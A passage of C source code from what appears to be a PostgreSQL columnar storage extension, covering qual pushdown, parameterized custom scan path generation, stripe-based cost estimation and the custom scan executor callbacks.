* Standard planner should have already applied de-morgan rule to
* simple NOT expressions. If we encounter with such an expression
* here, then it can't be a pushdownable one, such as:
* WHERE id NOT IN (SELECT id FROM something).
*/
ereport(ColumnarPlannerDebugLevel,
(errmsg("columnar planner: cannot push down clause: "
"must not contain a subplan")));
return NULL;
}
List *pushdownableArgs = NIL;
Node *boolExprArg = NULL;
foreach_ptr(boolExprArg, boolExpr->args)
{
Expr *pushdownableArg = ExtractPushdownClause(root, rel,
(Node *) boolExprArg);
if (pushdownableArg)
{
pushdownableArgs = lappend(pushdownableArgs, pushdownableArg);
}
else if (boolExpr->boolop == OR_EXPR)
{
ereport(ColumnarPlannerDebugLevel,
(errmsg("columnar planner: cannot push down clause: "
"all arguments of an OR expression must be "
"pushdownable but one of them was not, due "
"to the reason given above")));
return NULL;
}
/* simply skip AND args that we cannot pushdown */
}
int npushdownableArgs = list_length(pushdownableArgs);
if (npushdownableArgs == 0)
{
ereport(ColumnarPlannerDebugLevel,
(errmsg("columnar planner: cannot push down clause: "
"none of the arguments were pushdownable, "
"due to the reason(s) given above ")));
return NULL;
}
else if (npushdownableArgs == 1)
{
return (Expr *) linitial(pushdownableArgs);
}
if (boolExpr->boolop == AND_EXPR)
{
return make_andclause(pushdownableArgs);
}
else if (boolExpr->boolop == OR_EXPR)
{
return make_orclause(pushdownableArgs);
}
else
{
/* already discarded NOT expr, so should not be reachable */
return NULL;
}
}
if (IsA(node, ScalarArrayOpExpr))
{
if (!contain_volatile_functions(node))
{
return (Expr *) node;
}
else
{
return NULL;
}
}
if (!IsA(node, OpExpr) || list_length(((OpExpr *) node)->args) != 2)
{
ereport(ColumnarPlannerDebugLevel,
(errmsg("columnar planner: cannot push down clause: "
"must be binary operator expression")));
return NULL;
}
OpExpr *opExpr = castNode(OpExpr, node);
Expr *lhs = list_nth(opExpr->args, 0);
Expr *rhs = list_nth(opExpr->args, 1);
Var *varSide;
Expr *exprSide;
if (IsA(lhs, Var) && ((Var *) lhs)->varno == rel->relid &&
!ExprReferencesRelid((Expr *) rhs, rel->relid))
{
varSide = castNode(Var, lhs);
exprSide = rhs;
}
else if (IsA(rhs, Var) && ((Var *) rhs)->varno == rel->relid &&
!ExprReferencesRelid((Expr *) lhs, rel->relid))
{
varSide = castNode(Var, rhs);
exprSide = lhs;
}
else
{
ereport(ColumnarPlannerDebugLevel,
(errmsg("columnar planner: cannot push down clause: "
"must match 'Var <op> Expr' or 'Expr <op> Var'"),
errhint("Var must only reference this rel, "
"and Expr must not reference this rel")));
return NULL;
}
if (varSide->varattno <= 0)
{
ereport(ColumnarPlannerDebugLevel,
(errmsg("columnar planner: cannot push down clause: "
"var is whole-row reference or system column")));
return NULL;
}
if (contain_volatile_functions((Node *) exprSide))
{
ereport(ColumnarPlannerDebugLevel,
(errmsg("columnar planner: cannot push down clause: "
"expr contains volatile functions")));
return NULL;
}
/* only the default opclass is used for qual pushdown. */
Oid varOpClass = GetDefaultOpClass(varSide->vartype, BTREE_AM_OID);
Oid varOpFamily;
Oid varOpcInType;
if (!OidIsValid(varOpClass) ||
!get_opclass_opfamily_and_input_type(varOpClass, &varOpFamily,
&varOpcInType))
{
ereport(ColumnarPlannerDebugLevel,
(errmsg("columnar planner: cannot push down clause: "
"cannot find default btree opclass and opfamily for type: %s",
format_type_be(varSide->vartype))));
return NULL;
}
if (!op_in_opfamily(opExpr->opno, varOpFamily))
{
ereport(ColumnarPlannerDebugLevel,
(errmsg("columnar planner: cannot push down clause: "
"operator %d not a member of opfamily %d",
opExpr->opno, varOpFamily)));
return NULL;
}
Oid sortop = get_opfamily_member(varOpFamily, varOpcInType,
varOpcInType, BTLessStrategyNumber);
Assert(OidIsValid(sortop));
/*
* Check that statistics on the Var support the utility of this
* clause.
*/
float4 absVarCorrelation = 0;
if (!CheckVarStats(root, varSide, sortop, &absVarCorrelation))
{
ereport(ColumnarPlannerDebugLevel,
(errmsg("columnar planner: cannot push down clause: "
"absolute correlation (%.3f) of var attribute %d is "
"smaller than the value configured in "
"\"columnar.qual_pushdown_correlation_threshold\" "
"(%.3f)", absVarCorrelation, varSide->varattno,
ColumnarQualPushdownCorrelationThreshold)));
return NULL;
}
return (Expr *) node;
}
/*
* FilterPushdownClauses filters for clauses that are candidates for pushing
* down into rel.
*/
static List *
FilterPushdownClauses(PlannerInfo *root, RelOptInfo *rel, List *inputClauses)
{
List *filteredClauses = NIL;
ListCell *lc;
foreach(lc, inputClauses)
{
RestrictInfo *rinfo = (RestrictInfo *) lfirst(lc);
/*
* Ignore clauses that don't refer to this rel, and pseudoconstants.
*
* XXX: A pseudoconstant may be of use, but it doesn't make sense to
* push it down because it doesn't contain any Vars. Look into if
* there's something we should do with pseudoconstants here.
*/
if (rinfo->pseudoconstant ||
!bms_is_member(rel->relid, rinfo->required_relids))
{
continue;
}
Expr *pushdownableExpr = ExtractPushdownClause(root, rel, (Node *) rinfo->clause);
if (!pushdownableExpr)
{
continue;
}
rinfo = copyObject(rinfo);
rinfo->clause = pushdownableExpr;
filteredClauses = lappend(filteredClauses, rinfo);
}
return filteredClauses;
}
/*
* PushdownJoinClauseMatches is a callback that returns true, indicating that
* we want all of the clauses from generate_implied_equalities_for_column().
*/
static bool
PushdownJoinClauseMatches(PlannerInfo *root, RelOptInfo *rel,
EquivalenceClass *ec, EquivalenceMember *em,
void *arg)
{
return true;
}
/*
* FindPushdownJoinClauses finds join clauses, including those implied by ECs,
* that may be pushed down.
*/
static List *
FindPushdownJoinClauses(PlannerInfo *root, RelOptInfo *rel)
{
List *joinClauses = copyObject(rel->joininfo);
/*
* Here we are generating the clauses just so we can later extract the
* interesting relids. This is somewhat wasteful, but it allows us to
* filter out joinclauses, reducing the number of relids we need to
* consider.
*
* XXX: also find additional clauses for joininfo that are implied by ECs?
*/
List *ecClauses = generate_implied_equalities_for_column(
root, rel, PushdownJoinClauseMatches, NULL,
rel->lateral_referencers);
List *allClauses = list_concat(joinClauses, ecClauses);
return FilterPushdownClauses(root, rel, allClauses);
}
/*
* FindCandidateRelids identifies candidate rels for parameterization from the
* list of join clauses.
*
* Some rels cannot be considered for parameterization, such as a partitioned
* parent of the given rel. Other rels are just not useful because they don't
* appear in a join clause that could be pushed down.
*/
static Relids
FindCandidateRelids(PlannerInfo *root, RelOptInfo *rel, List *joinClauses)
{
Relids candidateRelids = NULL;
ListCell *lc;
foreach(lc, joinClauses)
{
RestrictInfo *rinfo = (RestrictInfo *) lfirst(lc);
candidateRelids = bms_add_members(candidateRelids,
rinfo->required_relids);
}
candidateRelids = bms_del_members(candidateRelids, rel->relids);
candidateRelids = bms_del_members(candidateRelids, rel->lateral_relids);
return candidateRelids;
}
/*
* Combinations() calculates the number of combinations of n things taken k at
* a time. When the correct result is large, the calculation may produce a
* non-integer result, or overflow to inf, which caller should handle
* appropriately.
*
* Use the following two formulae from Knuth TAoCP, 1.2.6:
* (2) Combinations(n, k) = (n*(n-1)..(n-k+1)) / (k*(k-1)..1)
* (5) Combinations(n, k) = Combinations(n, n-k)
*/
static double
Combinations(int n, int k)
{
double v = 1;
/*
* If k is close to n, then both the numerator and the denominator are
* close to n!, and we may overflow even if the input is reasonable
* (e.g. Combinations(500, 500)). Use formula (5) to choose the smaller,
* but equivalent, k.
*/
k = Min(k, n - k);
/* calculate numerator of formula (2) first */
for (int i = n; i >= n - k + 1; i--)
{
v *= i;
}
/*
* Divide by each factor in the denominator of formula (2), skipping
* division by 1.
*/
for (int i = k; i >= 2; i--)
{
v /= i;
}
return v;
}
/*
* ChooseDepthLimit() calculates the depth limit for the parameterization
* search, given the number of candidate relations.
*
* The maximum number of paths generated for a given depthLimit is:
*
* Combinations(nCandidates, 0) + Combinations(nCandidates, 1) + ... +
* Combinations(nCandidates, depthLimit)
*
* There's no closed formula for a partial sum of combinations, so just keep
* increasing the depth until the number of combinations exceeds the limit.
*/
static int
ChooseDepthLimit(int nCandidates)
{
if (!EnableColumnarQualPushdown)
{
return 0;
}
int depth = 0;
double numPaths = 1;
while (depth < nCandidates)
{
numPaths += Combinations(nCandidates, depth + 1);
if (numPaths > (double) ColumnarMaxCustomScanPaths)
{
break;
}
depth++;
}
return depth;
}
/*
* AddColumnarScanPaths is the entry point for recursively generating
* parameterized paths. See AddColumnarScanPathsRec() for discussion.
*/
static void
AddColumnarScanPaths(PlannerInfo *root, RelOptInfo *rel, RangeTblEntry *rte)
{
List *joinClauses = FindPushdownJoinClauses(root, rel);
Relids candidateRelids = FindCandidateRelids(root, rel, joinClauses);
int depthLimit = ChooseDepthLimit(bms_num_members(candidateRelids));
/* must always parameterize by lateral refs */
Relids paramRelids = bms_copy(rel->lateral_relids);
AddColumnarScanPathsRec(root, rel, rte, paramRelids, candidateRelids,
depthLimit);
}
/*
* AddColumnarScanPathsRec is a recursive function to search the
* parameterization space and add CustomPaths for columnar scans.
*
* The set paramRelids is the parameterization at the current level, and
* candidateRelids is the set from which we draw to generate paths with
* greater parameterization.
*
* Columnar tables resemble indexes because of the ability to push down
* quals. Ordinary quals, such as x = 7, can be pushed down easily. But join
* quals of the form "x = y" (where "y" comes from another rel) require the
* proper parameterization.
*
* Paths that require more outer rels can push down more join clauses that
* depend on those outer rels. But requiring more outer rels gives the planner
* fewer options for the shape of the plan. That means there is a trade-off,
* and we should generate plans of various parameterizations, then let the
* planner choose. We always need to generate one minimally-parameterized path
* (parameterized only by lateral refs, if present) to make sure that at least
* one path can be chosen. Then, we generate as many parameterized paths as we
* reasonably can.
*
* The set of all possible parameterizations is the power set of
* candidateRelids. The power set has cardinality 2^N, where N is the
* cardinality of candidateRelids. To avoid creating a huge number of paths,
* limit the depth of the search; the depthLimit is equivalent to the maximum
* number of required outer rels (beyond the minimal parameterization) for the
* path. A depthLimit of zero means that only the minimally-parameterized path
* will be generated.
*/
static void
AddColumnarScanPathsRec(PlannerInfo *root, RelOptInfo *rel, RangeTblEntry *rte,
Relids paramRelids, Relids candidateRelids,
int depthLimit)
{
CHECK_FOR_INTERRUPTS();
check_stack_depth();
Assert(!bms_overlap(paramRelids, candidateRelids));
AddColumnarScanPath(root, rel, rte, paramRelids);
/* recurse for all candidateRelids, unless we hit the depth limit */
Assert(depthLimit >= 0);
if (depthLimit-- == 0)
{
return;
}
/*
* Iterate through parameter combinations depth-first. Deeper levels
* generate paths of greater parameterization (and hopefully lower
* cost).
*/
Relids tmpCandidateRelids = bms_copy(candidateRelids);
int relid = -1;
while ((relid = bms_next_member(candidateRelids, relid)) >= 0)
{
Relids tmpParamRelids = bms_add_member(
bms_copy(paramRelids), relid);
/*
* Because we are generating combinations (not permutations), remove
* the relid from the set of candidates at this level as we descend to
* the next.
*/
tmpCandidateRelids = bms_del_member(tmpCandidateRelids, relid);
AddColumnarScanPathsRec(root, rel, rte, tmpParamRelids,
tmpCandidateRelids, depthLimit);
}
bms_free(tmpCandidateRelids);
}
/*
* ParameterizationAsString returns the string representation of the set of
* rels given in paramRelids.
*
* Takes a StringInfo so that it doesn't return palloc'd memory. This makes it
* easy to call this function as an argument to ereport(), such that it won't
* be evaluated unless the message is going to be output somewhere.
*/
static char *
ParameterizationAsString(PlannerInfo *root, Relids paramRelids, StringInfo buf)
{
bool firstTime = true;
int relid = -1;
if (bms_num_members(paramRelids) == 0)
{
return "unparameterized";
}
appendStringInfoString(buf, "parameterized by rels {");
while ((relid = bms_next_member(paramRelids, relid)) >= 0)
{
RangeTblEntry *rte = root->simple_rte_array[relid];
const char *relname = quote_identifier(rte->eref->aliasname);
appendStringInfo(buf, "%s%s", firstTime ? "" : ", ", relname);
if (relname != rte->eref->aliasname)
{
pfree((void *) relname);
}
firstTime = false;
}
appendStringInfoString(buf, "}");
return buf->data;
}
/*
* ContainsExecParams tests whether the node contains any exec params. The
* signature accepts an extra argument for use with expression_tree_walker.
*/
static bool
ContainsExecParams(Node *node, void *notUsed)
{
if (node == NULL)
{
return false;
}
else if (IsA(node, Param))
{
Param *param = castNode(Param, node);
if (param->paramkind == PARAM_EXEC)
{
return true;
}
}
return expression_tree_walker(node, ContainsExecParams, NULL);
}
/*
* Create and add a path with the given parameterization paramRelids.
*
* XXX: Consider refactoring to be more like postgresGetForeignPaths(). The
* only differences are param_info and custom_private.
*/
static void
AddColumnarScanPath(PlannerInfo *root, RelOptInfo *rel, RangeTblEntry *rte,
Relids paramRelids)
{
/*
* Must return a CustomPath, not a larger structure containing a
* CustomPath as the first field. Otherwise, nodeToString() will fail to
* output the additional fields.
*/
CustomPath *cpath = makeNode(CustomPath);
cpath->methods = &ColumnarScanPathMethods;
#if (PG_VERSION_NUM >= PG_VERSION_15)
/* necessary to avoid extra Result node in PG15 */
cpath->flags = CUSTOMPATH_SUPPORT_PROJECTION;
#endif
/*
* populate generic path information
*/
Path *path = &cpath->path;
path->pathtype = T_CustomScan;
path->parent = rel;
path->pathtarget = rel->reltarget;
/* columnar scans are not parallel-aware, but they are parallel-safe */
path->parallel_safe = rel->consider_parallel;
path->param_info = get_baserel_parampathinfo(root, rel, paramRelids);
/*
* Usable clauses for this parameterization exist in baserestrictinfo and
* ppi_clauses.
*/
List *allClauses = copyObject(rel->baserestrictinfo);
if (path->param_info != NULL)
{
allClauses = list_concat(allClauses, path->param_info->ppi_clauses);
}
allClauses = FilterPushdownClauses(root, rel, allClauses);
/*
* Plain clauses may contain extern params, but not exec params, and can
* be evaluated at init time or rescan time. Track them in another list
* that is a subset of allClauses.
*
* Note: although typically baserestrictinfo contains plain clauses,
* that's not always true. It can also contain a qual referencing a Var at
* a higher query level, which can be turned into an exec param, and
* therefore it won't be a plain clause.
*/
List *plainClauses = NIL;
ListCell *lc;
foreach(lc, allClauses)
{
RestrictInfo *rinfo = lfirst_node(RestrictInfo, lc);
if (bms_is_subset(rinfo->required_relids, rel->relids) &&
!ContainsExecParams((Node *) rinfo->clause, NULL))
{
plainClauses = lappend(plainClauses, rinfo);
}
}
/*
* We can't make our own CustomPath structure, so we need to put
* everything in the custom_private list. To keep the two lists separate,
* we make them sublists in a 2-element list.
*/
if (EnableColumnarQualPushdown)
{
cpath->custom_private = list_make2(copyObject(plainClauses),
copyObject(allClauses));
}
else
{
cpath->custom_private = list_make2(NIL, NIL);
}
int numberOfColumnsRead = 0;
#if PG_VERSION_NUM >= PG_VERSION_16
if (rte->perminfoindex > 0)
{
/*
* If perminfoindex > 0, that means that this relation's permission info
* is directly found in the list of rteperminfos of the Query(root->parse)
* So, all we have to do here is retrieve that info.
*/
RTEPermissionInfo *perminfo = getRTEPermissionInfo(root->parse->rteperminfos,
rte);
numberOfColumnsRead = bms_num_members(perminfo->selectedCols);
}
else
{
/*
* If perminfoindex = 0, that means we are skipping the check for permission info
* for this relation, which means that it's either a partition or an inheritance child.
* In these cases, we need to access the permission info of the top parent of this relation.
* After thorough checking, we found that the index of the top parent pointing to the correct
* range table entry in Query's range tables (root->parse->rtable) is found under
* RelOptInfo rel->top_parent->relid.
* For reference, check expand_partitioned_rtentry and expand_inherited_rtentry PG functions
*/
Assert(rel->top_parent);
RangeTblEntry *parent_rte = rt_fetch(rel->top_parent->relid, root->parse->rtable);
RTEPermissionInfo *perminfo = getRTEPermissionInfo(root->parse->rteperminfos,
parent_rte);
numberOfColumnsRead = bms_num_members(fixup_inherited_columns(perminfo->relid,
rte->relid,
perminfo->
selectedCols));
}
#else
numberOfColumnsRead = bms_num_members(rte->selectedCols);
#endif
int numberOfClausesPushed = list_length(allClauses);
CostColumnarScan(root, rel, rte->relid, cpath, numberOfColumnsRead,
numberOfClausesPushed);
StringInfoData buf;
initStringInfo(&buf);
ereport(ColumnarPlannerDebugLevel,
(errmsg("columnar planner: adding CustomScan path for %s",
rte->eref->aliasname),
errdetail("%s; %d clauses pushed down",
ParameterizationAsString(root, paramRelids, &buf),
numberOfClausesPushed)));
add_path(rel, path);
}
#if PG_VERSION_NUM >= PG_VERSION_16
/*
* fixup_inherited_columns
*
* Exact function Copied from PG16 as it's static.
*
* When user is querying on a table with children, it implicitly accesses
* child tables also. So, we also need to check security label of child
* tables and columns, but there is no guarantee attribute numbers are
* same between the parent and children.
* It returns a bitmapset which contains attribute number of the child
* table based on the given bitmapset of the parent.
*/
static Bitmapset *
fixup_inherited_columns(Oid parentId, Oid childId, Bitmapset *columns)
{
Bitmapset *result = NULL;
/*
* obviously, no need to do anything here
*/
if (parentId == childId)
{
return columns;
}
int index = -1;
while ((index = bms_next_member(columns, index)) >= 0)
{
/* bit numbers are offset by FirstLowInvalidHeapAttributeNumber */
AttrNumber attno = index + FirstLowInvalidHeapAttributeNumber;
/*
* whole-row-reference shall be fixed-up later
*/
if (attno == InvalidAttrNumber)
{
result = bms_add_member(result, index);
continue;
}
char *attname = get_attname(parentId, attno, false);
attno = get_attnum(childId, attname);
if (attno == InvalidAttrNumber)
{
elog(ERROR, "cache lookup failed for attribute %s of relation %u",
attname, childId);
}
result = bms_add_member(result,
attno - FirstLowInvalidHeapAttributeNumber);
pfree(attname);
}
return result;
}
#endif
/*
* CostColumnarScan calculates the cost of scanning the columnar table. The
* cost is estimated by using all stripe metadata to estimate based on the
* columns to read how many pages need to be read.
*/
static void
CostColumnarScan(PlannerInfo *root, RelOptInfo *rel, Oid relationId,
CustomPath *cpath, int numberOfColumnsRead, int nClauses)
{
Path *path = &cpath->path;
List *allClauses = lsecond(cpath->custom_private);
Selectivity clauseSel = clauselist_selectivity(
root, allClauses, rel->relid, JOIN_INNER, NULL);
/*
* We already filtered out clauses where the overall selectivity would be
* misleading, such as inequalities involving an uncorrelated column. So
* we can apply the selectivity directly to the number of stripes.
*/
double stripesToRead = clauseSel * ColumnarTableStripeCount(relationId);
stripesToRead = Max(stripesToRead, 1.0);
path->rows = rel->rows;
path->startup_cost = 0;
path->total_cost = stripesToRead *
ColumnarPerStripeScanCost(rel, relationId, numberOfColumnsRead);
}
/*
* ColumnarPerStripeScanCost calculates the cost to scan a single stripe
* of given columnar table based on number of columns that needs to be
* read during scan operation.
*/
static Cost
ColumnarPerStripeScanCost(RelOptInfo *rel, Oid relationId, int numberOfColumnsRead)
{
Relation relation = RelationIdGetRelation(relationId);
if (!RelationIsValid(relation))
{
ereport(ERROR, (errmsg("could not open relation with OID %u", relationId)));
}
List *stripeList = StripesForRelfilelocator(RelationPhysicalIdentifier_compat(
relation));
RelationClose(relation);
uint32 maxColumnCount = 0;
uint64 totalStripeSize = 0;
StripeMetadata *stripeMetadata = NULL;
foreach_ptr(stripeMetadata, stripeList)
{
totalStripeSize += stripeMetadata->dataLength;
maxColumnCount = Max(maxColumnCount, stripeMetadata->columnCount);
}
/*
* When no stripes are in the table we don't have a count in maxColumnCount. To
* prevent a division by zero turning into a NaN we keep the ratio on zero.
* This will result in a cost of 0 for scanning the table which is a reasonable
* cost on an empty table.
*/
if (maxColumnCount == 0)
{
return 0;
}
double columnSelectionRatio = numberOfColumnsRead / (double) maxColumnCount;
Cost tableScanCost = (double) totalStripeSize / BLCKSZ * columnSelectionRatio;
Cost perStripeScanCost = tableScanCost / list_length(stripeList);
/*
* Finally, multiply the cost of reading a single stripe by seq page read
* cost to make our estimation scale compatible with postgres.
* Since we are calculating the cost for a single stripe here, we use seq
* page cost instead of random page cost. This is because, random page
* access only happens when switching between columns, which is pretty
* much neglactable.
*/
double relSpaceSeqPageCost;
get_tablespace_page_costs(rel->reltablespace,
NULL, &relSpaceSeqPageCost);
perStripeScanCost = perStripeScanCost * relSpaceSeqPageCost;
return perStripeScanCost;
}
/*
* ColumnarTableStripeCount returns the number of stripes that columnar
* table with relationId has by using stripe metadata.
*/
static uint64
ColumnarTableStripeCount(Oid relationId)
{
Relation relation = RelationIdGetRelation(relationId);
if (!RelationIsValid(relation))
{
ereport(ERROR, (errmsg("could not open relation with OID %u", relationId)));
}
List *stripeList = StripesForRelfilelocator(RelationPhysicalIdentifier_compat(
relation));
int stripeCount = list_length(stripeList);
RelationClose(relation);
return stripeCount;
}
static Plan *
ColumnarScanPath_PlanCustomPath(PlannerInfo *root,
RelOptInfo *rel,
struct CustomPath *best_path,
List *tlist,
List *clauses,
List *custom_plans)
{
/*
* Must return a CustomScan, not a larger structure containing a
* CustomScan as the first field. Otherwise, copyObject() will fail to
* copy the additional fields.
*/
CustomScan *cscan = makeNode(CustomScan);
cscan->methods = &ColumnarScanScanMethods;
/* XXX: also need to store projected column list for EXPLAIN */
if (EnableColumnarQualPushdown)
{
/*
* Lists of pushed-down clauses. The Vars in custom_exprs referencing
* other relations will be changed into exec Params by
* create_customscan_plan().
*
* Like CustomPath->custom_private, keep a list of plain clauses
* separate from the list of all clauses by making them sublists of a
* 2-element list.
*
* XXX: custom_exprs are the quals that will be pushed into the
* columnar reader code; some of these may not be usable. We should
* fix this by processing the quals more completely and using
* ScanKeys.
*/
List *plainClauses = extract_actual_clauses(
linitial(best_path->custom_private), false /* no pseudoconstants */);
List *allClauses = extract_actual_clauses(
lsecond(best_path->custom_private), false /* no pseudoconstants */);
cscan->custom_exprs = copyObject(list_make2(plainClauses, allClauses));
}
else
{
cscan->custom_exprs = list_make2(NIL, NIL);
}
cscan->scan.plan.qual = extract_actual_clauses(
clauses, false /* no pseudoconstants */);
cscan->scan.plan.targetlist = list_copy(tlist);
cscan->scan.scanrelid = best_path->path.parent->relid;
#if (PG_VERSION_NUM >= 150000)
/* necessary to avoid extra Result node in PG15 */
cscan->flags = CUSTOMPATH_SUPPORT_PROJECTION;
#endif
return (Plan *) cscan;
}
/*
* ReparameterizeMutator changes all varnos referencing the topmost parent of
* child_rel to instead reference child_rel directly.
*/
static Node *
ReparameterizeMutator(Node *node, RelOptInfo *child_rel)
{
if (node == NULL)
{
return NULL;
}
if (IsA(node, Var))
{
Var *var = castNode(Var, node);
if (bms_is_member(var->varno, child_rel->top_parent_relids))
{
var = copyObject(var);
var->varno = child_rel->relid;
}
return (Node *) var;
}
if (IsA(node, RestrictInfo))
{
RestrictInfo *rinfo = castNode(RestrictInfo, node);
rinfo = copyObject(rinfo);
rinfo->clause = (Expr *) expression_tree_mutator(
(Node *) rinfo->clause, ReparameterizeMutator, (void *) child_rel);
return (Node *) rinfo;
}
return expression_tree_mutator(node, ReparameterizeMutator,
(void *) child_rel);
}
/*
* ColumnarScanPath_ReparameterizeCustomPathByChild is a method called when a
* path is reparameterized directly to a child relation, rather than the
* top-level parent.
*
* For instance, let there be a join of two partitioned columnar relations PX
* and PY. A path for a ColumnarScan of PY3 might be parameterized by PX so
* that the join qual "PY3.a = PX.a" (referencing the parent PX) can be pushed
* down. But if the planner decides on a partition-wise join, then the path
* will be reparameterized on the child table PX3 directly.
*
* When that happens, we need to update all Vars in the pushed-down quals to
* reference PX3, not PX, to match the new parameterization. This method
* notifies us that it needs to be done, and allows us to update the
* information in custom_private.
*/
static List *
ColumnarScanPath_ReparameterizeCustomPathByChild(PlannerInfo *root,
List *custom_private,
RelOptInfo *child_rel)
{
return (List *) ReparameterizeMutator((Node *) custom_private, child_rel);
}
static Node *
ColumnarScan_CreateCustomScanState(CustomScan *cscan)
{
ColumnarScanState *columnarScanState = (ColumnarScanState *) newNode(
sizeof(ColumnarScanState), T_CustomScanState);
CustomScanState *cscanstate = &columnarScanState->custom_scanstate;
cscanstate->methods = &ColumnarScanExecuteMethods;
return (Node *) cscanstate;
}
/*
* EvalParamsMutator evaluates Params in the expression and replaces them with
* Consts.
*/
static Node *
EvalParamsMutator(Node *node, ExprContext *econtext)
{
if (node == NULL)
{
return NULL;
}
if (IsA(node, Param))
{
Param *param = (Param *) node;
int16 typLen;
bool typByVal;
bool isnull;
get_typlenbyval(param->paramtype, &typLen, &typByVal);
/* XXX: should save ExprState for efficiency */
ExprState *exprState = ExecInitExprWithParams((Expr *) node,
econtext->ecxt_param_list_info);
Datum pval = ExecEvalExpr(exprState, econtext, &isnull);
return (Node *) makeConst(param->paramtype,
param->paramtypmod,
param->paramcollid,
(int) typLen,
pval,
isnull,
typByVal);
}
return expression_tree_mutator(node, EvalParamsMutator, (void *) econtext);
}
static void
ColumnarScan_BeginCustomScan(CustomScanState *cscanstate, EState *estate, int eflags)
{
CustomScan *cscan = (CustomScan *) cscanstate->ss.ps.plan;
ColumnarScanState *columnarScanState = (ColumnarScanState *) cscanstate;
ExprContext *stdecontext = cscanstate->ss.ps.ps_ExprContext;
/*
* Make a new ExprContext just like the existing one, except that we don't
* reset it every tuple.
*/
ExecAssignExprContext(estate, &cscanstate->ss.ps);
columnarScanState->css_RuntimeContext = cscanstate->ss.ps.ps_ExprContext;
cscanstate->ss.ps.ps_ExprContext = stdecontext;
ResetExprContext(columnarScanState->css_RuntimeContext);
List *plainClauses = linitial(cscan->custom_exprs);
columnarScanState->qual = (List *) EvalParamsMutator(
(Node *) plainClauses, columnarScanState->css_RuntimeContext);
/* scan slot is already initialized */
}
/*
* ColumnarAttrNeeded returns a list of AttrNumber's for the ones that are
* needed during columnar custom scan.
* Throws an error if finds a Var referencing to an attribute not supported
* by ColumnarScan.
*/
static Bitmapset *
ColumnarAttrNeeded(ScanState *ss)
{
TupleTableSlot *slot = ss->ss_ScanTupleSlot;
int natts = slot->tts_tupleDescriptor->natts;
Bitmapset *attr_needed = NULL;
Plan *plan = ss->ps.plan;
int flags = PVC_RECURSE_AGGREGATES |
PVC_RECURSE_WINDOWFUNCS | PVC_RECURSE_PLACEHOLDERS;
List *vars = list_concat(pull_var_clause((Node *) plan->targetlist, flags),
pull_var_clause((Node *) plan->qual, flags));
ListCell *lc;
foreach(lc, vars)
{
Var *var = lfirst(lc);
if (var->varattno < 0)
{
ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED),
errmsg(
"UPDATE and CTID scans not supported for ColumnarScan")));
}
if (var->varattno == 0)
{
elog(DEBUG1, "Need attribute: all");
/* all attributes are required, we don't need to add more so break*/
attr_needed = bms_add_range(attr_needed, 0, natts - 1);
break;
}
elog(DEBUG1, "Need attribute: %d", var->varattno);
attr_needed = bms_add_member(attr_needed, var->varattno - 1);
}
return attr_needed;
}
static TupleTableSlot *
ColumnarScanNext(ColumnarScanState *columnarScanState)
{
CustomScanState *node = (CustomScanState *) columnarScanState;
/*
* get information from the estate and scan state
*/
TableScanDesc scandesc = node->ss.ss_currentScanDesc;
EState *estate = node->ss.ps.state;
ScanDirection direction = estate->es_direction;
TupleTableSlot *slot = node->ss.ss_ScanTupleSlot;
if (scandesc == NULL)
{
/* the columnar access method does not use the flags, they are specific to heap */
uint32 flags = 0;
Bitmapset *attr_needed = ColumnarAttrNeeded(&node->ss);
/*
* We reach here if the scan is not parallel, or if we're serially
* executing a scan that was planned to be parallel.
*/
scandesc = columnar_beginscan_extended(node->ss.ss_currentRelation,
estate->es_snapshot,
0, NULL, NULL, flags, attr_needed,
columnarScanState->qual);
bms_free(attr_needed);
node->ss.ss_currentScanDesc = scandesc;
}
/*
* get the next tuple from the table
*/
if (table_scan_getnextslot(scandesc, direction, slot))
{
return slot;
}
return NULL;
}
/*
* SeqRecheck -- access method routine to recheck a tuple in EvalPlanQual
*/
static bool
ColumnarScanRecheck(ColumnarScanState *node, TupleTableSlot *slot)
{
return true;
}
static TupleTableSlot *
ColumnarScan_ExecCustomScan(CustomScanState *node)
{
return ExecScan(&node->ss,
(ExecScanAccessMtd) ColumnarScanNext,
(ExecScanRecheckMtd) ColumnarScanRecheck);
}
static void
ColumnarScan_EndCustomScan(CustomScanState *node)
{
/*
* get information from node
*/
TableScanDesc scanDesc = node->ss.ss_currentScanDesc;
/*
* Free the exprcontext
*/
ExecFreeExprContext(&node->ss.ps);
/*
* clean out the tuple table
*/
if (node->ss.ps.ps_ResultTupleSlot)
{
ExecClearTuple(node->ss.ps.ps_ResultTupleSlot);
}
ExecClearTuple(node->ss.ss_ScanTupleSlot);
/*
* close heap scan
*/
if (scanDesc != NULL)
{
table_endscan(scanDesc);
}
}
static void
ColumnarScan_ReScanCustomScan(CustomScanState *node)
{
CustomScan *cscan = (CustomScan *) node->ss.ps.plan;
ColumnarScanState *columnarScanState = (ColumnarScanState *) node;
ResetExprContext(columnarScanState->css_RuntimeContext);
List *allClauses = lsecond(cscan->custom_exprs);
columnarScanState->qual = (List *) EvalParamsMutator(
(Node *) allClauses, columnarScanState->css_RuntimeContext);
TableScanDesc scanDesc = node->ss.ss_currentScanDesc;
if (scanDesc != NULL)
{
/* XXX: hack to pass quals as scan keys */
ScanKey scanKeys = (ScanKey) columnarScanState->qual;
table_rescan(node->ss.ss_currentScanDesc,
scanKeys);
}
}
static void
ColumnarScan_ExplainCustomScan(CustomScanState *node, List *ancestors,
ExplainState *es)
{
ColumnarScanState *columnarScanState = (ColumnarScanState *) node;
List *context = set_deparse_context_planstate(
es->deparse_cxt, (Node *) &node->ss.ps, ancestors);
List *projectedColumns = ColumnarVarNeeded(columnarScanState);
const char *projectedColumnsStr = ColumnarProjectedColumnsStr(
context, projectedColumns);
ExplainPropertyText("Columnar Projected Columns",
projectedColumnsStr, es);
CustomScan *cscan = castNode(CustomScan, node->ss.ps.plan);
List *chunkGroupFilter = lsecond(cscan->custom_exprs);
if (chunkGroupFilter != NULL)
{
const char *pushdownClausesStr = ColumnarPushdownClausesStr(
context, chunkGroupFilter);
ExplainPropertyText("Columnar Chunk Group Filters",
pushdownClausesStr, es);
ColumnarScanDesc columnarScanDesc =
(ColumnarScanDesc) node->ss.ss_currentScanDesc;
if (columnarScanDesc != NULL)
{
ExplainPropertyInteger(
"Columnar Chunk Groups Removed by Filter",
NULL, ColumnarScanChunkGroupsFiltered(columnarScanDesc), es);
}
}
}
/*
* ColumnarPushdownClausesStr represents the clauses to push down as a string.
*/
static const char *
ColumnarPushdownClausesStr(List *context, List *clauses)
{
Expr *conjunction;
Assert(list_length(clauses) > 0);
if (list_length(clauses) == 1)
{
conjunction = (Expr *) linitial(clauses);
}
